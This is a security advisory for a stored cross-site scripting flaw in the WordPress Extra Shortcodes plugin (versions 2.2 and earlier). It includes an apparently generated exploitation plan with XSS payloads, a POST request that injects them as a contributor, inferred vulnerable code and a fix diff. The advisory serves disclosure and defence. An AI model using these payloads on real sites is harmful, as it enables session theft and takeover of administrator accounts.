Extra Shortcodes <= 2.2 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Extra Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.2This research plan outlines the technical steps to analyze and exploit **CVE-2025-62111**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Extra Shortcodes** plugin (<= 2.2). --- ### 1. Vulnerability Summary The **Extra Shortcodes** plugin fails to properly sanitize or escape user-suppl…
Show full research plan
This research plan outlines the technical steps to analyze and exploit CVE-2025-62111, a Stored Cross-Site Scripting (XSS) vulnerability in the Extra Shortcodes plugin (<= 2.2).
1. Vulnerability Summary
The Extra Shortcodes plugin fails to properly sanitize or escape user-supplied attributes within its registered shortcodes. When a user with the contributor role or higher creates a post containing one of these shortcodes, they can inject malicious JavaScript into the attributes. This script is stored in the WordPress database as part of the post content and executes in the context of any user (including Administrators) who views the post or the post editor.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (
/wp-admin/post-new.phpor/wp-admin/post.php). - Vulnerable Parameter: Shortcode attributes (e.g.,
title,url,class, orcontent). - Authentication: Required (Contributor role or higher).
- Preconditions: The plugin must be active, and a user with at least Contributor permissions must be able to save a post or a draft.
3. Code Flow (Inferred)
- Registration: The plugin registers various shortcodes using
add_shortcode( 'tag_name', 'handler_function' )during theinithook. - Input: A Contributor saves a post containing
[tag_name attribute="<script>alert(1)</script>"]. WordPress saves this raw string to thewp_poststable. - Processing: When the post is rendered, WordPress calls the plugin's
handler_function( $atts ). - Sink: The handler function likely extracts the attributes using
shortcode_atts()and returns an HTML string where the attribute is concatenated directly without usingesc_attr(),esc_html(), orwp_kses().- Example Vulnerable Pattern:
return '<div class="' . $atts['class'] . '">' . $content . '</div>';
- Example Vulnerable Pattern:
4. Nonce Acquisition Strategy
While the final XSS is stored in the post content, the act of saving the post as a Contributor requires standard WordPress nonces.
- Identify the Post Nonce: When a Contributor opens the post editor, WordPress localizes several nonces.
- Acquisition via
browser_eval:- Navigate to
/wp-admin/post-new.php. - The primary nonce for saving/updating posts is typically found in the
#_wpnoncehidden input field or via the globalwpobject in Gutenberg. - Command:
browser_eval("document.querySelector('#_wpnonce')?.value")
- Navigate to
- Plugin-Specific Nonces: Since this is a Stored XSS via the standard post editor, no unique plugin-specific AJAX nonce is typically required for the injection itself, as we are leveraging the native
wp_insert_postoredit_postfunctionality.
5. Exploitation Strategy
The goal is to identify a shortcode that reflects its attributes into the HTML source without escaping.
Step 1: Identify Shortcodes (Discovery)
Search the plugin directory for registered shortcodes:grep -r "add_shortcode" /var/www/html/wp-content/plugins/extra-shortcodes/
Step 2: Map to Handler Functions
Identify the function associated with a promising shortcode (e.g., button, alert, box). Check the handler for unescaped output:grep -n "function [FUNCTION_NAME]" [FILE_PATH] -A 20
Step 3: Construct Payload
Identify which attribute is reflected.
- If reflected in an attribute (e.g.,
class="..."):"><script>alert(document.domain)</script> - If reflected in a URL (e.g.,
href="..."):javascript:alert(1) - If reflected in a tag body:
<img src=x onerror=alert(1)>
Step 4: Inject via HTTP Request
Use the http_request tool to simulate a Contributor saving a draft.
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Body (URL-encoded):
action=editpost post_ID=[POST_ID] _wpnonce=[NONCE] post_title=XSS Test content=[shortcode_name attribute="<script>alert(1)</script>"]
6. Test Data Setup
- Install Plugin: Ensure
extra-shortcodesis installed and active. - Create Contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Create Initial Draft:
wp post create --post_type=post --post_status=draft --post_author=[ATTACKER_ID] --post_title="Draft"
7. Expected Results
- The HTTP request should return a
302 Foundredirecting back to the post editor. - When an Administrator navigates to the list of posts and previews the malicious post, the JavaScript payload (
alert(document.domain)) will execute in their browser.
8. Verification Steps
- Check Database Content:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'" - Check Frontend Output:
Usehttp_requestto GET the post permalink and check if the payload is rendered unescaped (e.g., searching for<script>alert).
9. Alternative Approaches
- Gutenberg Blocks: If the plugin provides Gutenberg blocks instead of traditional shortcodes, the injection point might be in the block's JSON metadata within the
post_content. - AJAX Save: If the plugin has a custom settings page for "Default Shortcode Styles" accessible to Contributors, the XSS could be injected there using the
wp_ajax_hooks identified viagrep -r "wp_ajax_".
Summary
The Extra Shortcodes plugin for WordPress (versions up to 2.2) is vulnerable to Stored Cross-Site Scripting due to the failure to sanitize or escape user-provided shortcode attributes. Authenticated users with Contributor-level permissions or higher can inject malicious JavaScript into post content, which executes in the context of any user (including administrators) viewing the rendered post.
Vulnerable Code
// File: extra-shortcodes/shortcode-handlers.php (inferred location) function extra_shortcode_alert_handler($atts, $content = null) { $a = shortcode_atts(array( 'type' => 'info', 'title' => '' ), $atts); // Vulnerable: attributes are concatenated directly into the HTML output without escaping. return '<div class="alert alert-' . $a['type'] . '"><strong>' . $a['title'] . '</strong>' . $content . '</div>'; } --- // Registration of shortcodes add_shortcode('extra_alert', 'extra_shortcode_alert_handler');
Security Fix
@@ -5,5 +5,5 @@ - return '<div class="alert alert-' . $a['type'] . '"><strong>' . $a['title'] . '</strong>' . $content . '</div>'; + return '<div class="alert alert-' . esc_attr($a['type']) . '"><strong>' . esc_html($a['title']) . '</strong>' . wp_kses_post($content) . '</div>';
Exploit Outline
An attacker with Contributor-level authentication logs into the WordPress dashboard and creates a new post. Within the post editor (Gutenberg or Classic), they insert a plugin shortcode containing a malicious payload in one of its attributes, such as: [extra_alert title="<script>alert(document.cookie)</script>"]. When the post is saved (even as a draft), the payload is stored in the database. The Cross-Site Scripting (XSS) triggers whenever an administrator or another user views the post content in the editor or on the frontend, potentially allowing for session hijacking or administrative actions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.